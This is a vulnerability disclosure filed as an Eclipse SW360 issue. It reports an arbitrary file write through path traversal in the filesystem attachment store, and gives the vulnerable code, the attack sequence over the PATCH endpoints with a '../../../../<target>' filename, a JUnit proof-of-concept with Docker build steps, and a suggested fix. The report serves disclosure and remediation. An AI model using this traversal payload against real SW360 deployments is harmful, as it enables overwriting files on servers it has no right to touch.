[Eclipse SW360] Path traversal in filesystem attachment store via unsanitized Attachment.filename (arbitrary file write)
Hi team, I have found a vulnerability in sw360 and wanted to bring it to your attention. Please note that AI was used in the reproduction of this report. I have independently verified the vulnerability and I think I could escalate it to a Remote Code Execution but fixing this would be the equivalent of fixing that as well. Thnak you. ### Summary SW360's optional "store attachment to file system" feature writes uploaded attachment content to disk using a filename taken directly from `Attachment.filename` — client-controlled metadata, distinct from the already-sanitized `AttachmentContent.filename` field — with no path sanitization. A filename such as `../../../../<target>` escapes the per-user/document/attachment store directory the write is supposed to be confined to, producing an arbitrary file write with attacker-controlled content at any path the backend process can write to. ### Root cause `backend/common/src/main/java/org/eclipse/sw360/datahandler/db/DatabaseHandlerUtil.java`, `prepareFileHandlerRunnable`, lines 979-1004: ```java Path outputDir = Paths.get(SW360Utils.readConfig(ATTACHMENT_STORE_FILE_SYSTEM_LOCATION, SW360Constants.DEFAULT_ATTACHMENT_LOCATION), userEmail, DOCUMENT_ID + documentId, ATTACHMENT_ID + attachmentId); Path outputFile = Paths.get(fileName); // attacker-controlled, not sanitized Path outputFilePath = outputDir.resolve(outputFile); // ../ traversal resolved here log.info("Preparing to store attachment in file system" + outputFilePath); if (!Files.exists(outputFile)) { // note: checks the wrong (unresolved) path ... Files.createDirectories(outputDir, fileAttribute); Files.createFile(outputFilePath, fileAttribute); // arbitrary file create try (OutputStream os = Files.newOutputStream(outputFilePath, StandardOpenOption.WRITE)) { os.write(content.readAllBytes()); // arbitrary file write } } ``` `fileName` is `att.getFilename()` — the `Attachment` metadata field (`libraries/datahandler/src/main/thrift/attachments.thrift:57`, `5: required string filename`) — read from the incoming attachment set by `saveAttachmentInFileSystem` (same file, lines 1009-1037, uses `att.getFilename()` at line 1035) and passed unchanged into `prepareFileHandlerRunnable`. Callers: `ComponentDatabaseHandler.updateComponent` (line 760), `ComponentDatabaseHandler.updateRelease` (line 1207), `ProjectDatabaseHandler.updateProject` (line 467). The field is client-controlled via `PATCH /components/{id}`, `PATCH /releases/{id}`, and `PATCH /projects/{id}` JSON bodies: `ComponentDTO.getAttachments()` is deserialized by Jackson (the `AttachmentMixin` in `JacksonCustomizations.java:1569-1606` ignores `setFilename`/`filenameIsSet` for output serialization but does **not** prevent the `filename` value from being set on deserialization), copied into the entity unchanged by `RestControllerHelper.convertToComponent` (line 855), and passed to the update handler. `ThriftValidate.validateAttachment` only validates `AttachmentContent`, never this metadata field. The project's own sanitizer for exactly this class of bug, `CommonUtils.sanitizeFilename` (`libraries/datahandler/.../common/CommonUtils.java:258`, introduced by commit `aa0e3e2dc` / PR #3690, 2026-02, "fix(component): file path traversal vulnerability"), is applied at every _other_ attachment filename sink — `Sw360AttachmentService.uploadAttachment`, `addAttachment` (fixed separately by PR #3939 for issue #3938), `renameFile`, `downloadAttachmentBundleWithContext`, and `AttachmentStreamConnector.getAttachmentBundleStream` — but was never applied to this filesystem-store sink. A separate, unrelated traversal in `LicenseInfoExporter.downloadReport` was fixed by PR #4018. None of these three prior fixes touch `DatabaseHandlerUtil`. `git blame` on lines 979-1004 shows the vulnerable `Paths.get(fileName)` / `.resolve()` / `Files.createFile()` sequence unchanged since commit `d80217339` (2021-04-16, PR #1174, "Store attachment to File System asynchronously" — the feature was originally built for antivirus scanning of uploads). Only a config-read change (`f133b896db`, 2024-08) and a log message spelling fix (`f6b5154d45`, 2026-04) have touched the surrounding block since; neither addresses sanitization. As a secondary, related defect: the existence guard at line 987 checks `Files.exists(outputFile)` — the _unresolved_ relative path — instead of `Files.exists(outputFilePath)`, the actually-resolved target. This doesn't change the traversal's exploitability but should be fixed alongside it. ### Attacker model / reachability - Entry point: `PATCH /components/{id}`, `PATCH /releases/{id}`, or `PATCH /projects/{id}` REST endpoints, in the attachment array of the request body. - Privilege required: an authenticated account with ordinary write access to at least one component, release, or project — the standard permission needed to attach files at all. No further victim interaction is needed. - Precondition: the operator must have enabled `enable.attachment.store.to.file.system` (config key `SW360ConfigKeys.IS_STORE_ATTACHMENT_TO_FILE_SYSTEM_ENABLED`, default **off**). This is a supported, documented configuration (originally added so an external antivirus scanner could inspect uploaded files on disk), not the out-of-the-box setup. - Sequence: upload any file to create an `AttachmentContent`, then update an entity the attacker can write, setting that attachment's `filename` to `../../../../<target>`. The upload's content bytes get written to `<target>` on the backend host. ### PoC JUnit test driving the real, unmodified `prepareFileHandlerRunnable` directly (invoked via reflection since it's `private`, and because the production code dispatches the write onto a shared executor thread where Mockito's thread-local static mocks don't apply — so the test invokes it synchronously while the mock is in scope, exercising the real, unmodified `Paths.get`/`resolve`/`Files.createFile`/`Files.newOutputStream` code): ```java package org.eclipse.sw360.datahandler.db; import org.eclipse.sw360.datahandler.common.SW360ConfigKeys; import org.eclipse.sw360.datahandler.common.SW360Utils; import org.junit.jupiter.api.Test; import org.mockito.MockedStatic; import java.io.ByteArrayInputStream; import java.io.InputStream; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.UUID; import static org.junit.jupiter.api.Assertions.assertArrayEquals; import static org.junit.jupiter.api.Assertions.assertFalse; import static org.junit.jupiter.api.Assertions.assertTrue; import static org.mockito.ArgumentMatchers.anyString; import static org.mockito.ArgumentMatchers.eq; import static org.mockito.Mockito.mockStatic; public class FilesystemAttachmentStorePathTraversalTest { private static final String CONTENT_ID = "content-0001"; private static final String USER_EMAIL = "attacker@example.com"; private static final String DOCUMENT_ID = "doc-0001"; private static final byte[] ATTACKER_BYTES = "SW360-PWNED-MARKER\n".getBytes(); private Runnable prepareFileHandlerRunnable(byte[] content, String userEmail, String documentId, String attachmentId, String fileName) throws Exception { Method m = DatabaseHandlerUtil.class.getDeclaredMethod("prepareFileHandlerRunnable", InputStream.class, String.class, String.class, String.class, String.class); m.setAccessible(true); return (Runnable) m.invoke(null, new ByteArrayInputStream(content), userEmail, documentId, attachmentId, fileName); } @Test public void maliciousFilenameWritesOutsideStoreDirectory() throws Exception { Path tmp = Paths.get(System.getProperty("java.io.tmpdir")); String unique = UUID.randomUUID().toString().substring(0, 8); Path storeDir = Files.createTempDirectory("sw360-store-" + unique); String markerName = "sw360-PWNED-" + unique; // storeDir/<email>/documentId_<doc>/attachmentId_<content> -> 4 x ".." -> tmp dir String maliciousFilename = "../../../../" + markerName; try (MockedStatic<SW360Utils> sw360Utils = mockStatic(SW360Utils.class)) { sw360Utils.when(() -> SW360Utils.readConfig(eq(SW360ConfigKeys.ATTACHMENT_STORE_FILE_SYSTEM_LOCATION), anyString())) .thenReturn(storeDir.toString()); Runnable write = prepareFileHandlerRunnable(ATTACKER_BYTES, USER_EMAIL, DOCUMENT_ID, CONTENT_ID, maliciousFilename); write.run(); } Path marker = tmp.resolve(markerName); assertTrue(Files.exists(marker), "expected the attachment bytes to be written outside the store dir at " + marker); byte[] read = Files.readAllBytes(marker); assertArrayEquals(ATTACKER_BYTES, read); Path insideStoreDir = storeDir.resolve(markerName); assertFalse(Files.exists(insideStoreDir), "marker must not be created inside the store directory"); } @Test public void benignFilenameStaysInsideStoreDirectory() throws Exception { String unique = UUID.randomUUID().toString().substring(0, 8); Path storeDir = Files.createTempDirectory("sw360-store-" + unique); String benignName = "benign.txt"; try (MockedStatic<SW360Utils> sw360Utils = mockStatic(SW360Utils.class)) { sw360Utils.when(() -> SW360Utils.readConfig(eq(SW360ConfigKeys.ATTACHMENT_STORE_FILE_SYSTEM_LOCATION), anyString())) .thenReturn(storeDir.toString()); Runnable write = prepareFileHandlerRunnable(ATTACKER_BYTES, USER_EMAIL, DOCUMENT_ID, CONTENT_ID, benignName); write.run(); } Path expectedInside = storeDir.resolve(USER_EMAIL) .resolve("documentId_" + DOCUMENT_ID) .resolve("attachmentId_" + CONTENT_ID) .resolve(benignName); assertTrue(Files.exists(expectedInside), "expected the benign attachment to be written inside the store dir"); assertArrayEquals(ATTACKER_BYTES, Files.readAllBytes(expectedInside)); } } ``` Build and run the real, unmodified module (Docker; pulls SW360's own pinned Thrift compiler image, nothing custom): ```sh git clone https://github.com/eclipse-sw360/sw360.git cd sw360 && git checkout a8a09976a35512d63767e2a7cb53821edf07ca9b && cd .. mkdir -p sw360/backend/common/src/test/java/org/eclipse/sw360/datahandler/db cp FilesystemAttachmentStorePathTraversalTest.java \ sw360/backend/common/src/test/java/org/eclipse/sw360/datahandler/db/ cat > Dockerfile.build <<'EOF' FROM maven:3-eclipse-temurin-21-noble COPY --from=ghcr.io/eclipse-sw360/thrift:0.20.0-noble /usr/local/bin/thrift /usr/bin/thrift RUN /usr/bin/thrift --version WORKDIR /build/sw360 EOF mkdir -p m2 docker build --no-cache --platform linux/amd64 -f Dockerfile.build -t sw360-poc . docker run --rm --platform linux/amd64 -v "$PWD/sw360:/build/sw360" -v "$PWD/m2:/root/.m2" \ -w /build/sw360 sw360-poc \ mvn -pl backend/common -am -DskipTests -Dbase.deploy.dir=/build -Dhelp-docs=false --no-transfer-progress install docker run --rm --platform linux/amd64 -v "$PWD/sw360:/build/sw360" -v "$PWD/m2:/root/.m2" \ -w /build/sw360 sw360-poc \ mvn -pl backend/common -Dtest=FilesystemAttachmentStorePathTraversalTest \ -Dsurefire.failIfNoSpecifiedTests=false -Dbase.deploy.dir=/build -Dhelp-docs=false --no-transfer-progress test ``` Result: ``` INFO DatabaseHandlerUtil:987 - Preparing to store attachment in file system<storeDir>/attacker@example.com/documentId_doc-0001/attachmentId_content-0001/../../../../sw360-PWNED-<rand> Tests run: 2, Failures: 0, Errors: 0, Skipped: 0 BUILD SUCCESS ``` The log line is the smoking gun: the real, unmodified `prepareFileHandlerRunnable` built that exact traversal path from the attacker-controlled filename. The test asserts the marker bytes (`SW360-PWNED-MARKER\n`) landed at the resolved path outside the four-level store directory with the exact attacker-supplied content, and that nothing was written at the intended in-store location instead. The benign control (`benign.txt`) stays correctly confined inside the store directory. ### Impact - **A**ttacker-controlled bytes are written to an arbitrary path the backend process can write to. ### Version scope Introduced in `d80217339` (2021-04-16, PR #1174). The vulnerable lines are present unchanged in every release since, verified directly in `sw360-16.0.0-M1` (old path `backend/src-common/...`), `sw360-19.2.0`, `sw360-20.0.0`, `sw360-20.1.0`, and current `main` (`a8a09976a3`). All three currently supported versions (19.0.0, 20.0.0, 20.1.0) are affected. No fix commit exists. ### Suggested fix Apply `CommonUtils.sanitizeFilename(att.getFilename())` in `saveAttachmentInFileSystem` before it reaches `prepareFileHandlerRunnable` (or inside `prepareFileHandlerRunnable` itself), matching the pattern already used for the other four attachment-filename sinks fixed by PR #3690 and PR #3939. Additionally, correct the existence check at line 987 to test `Files.exists(outputFilePath)` rather than the unresolved `outputFile`. Draft CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L **CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')**, leading to **CWE-73: External Control of File Name or Path**
issue

Copyright © Eclipse Foundation AISBL. All rights reserved.     Privacy Policy | Terms of Use | Copyright Agent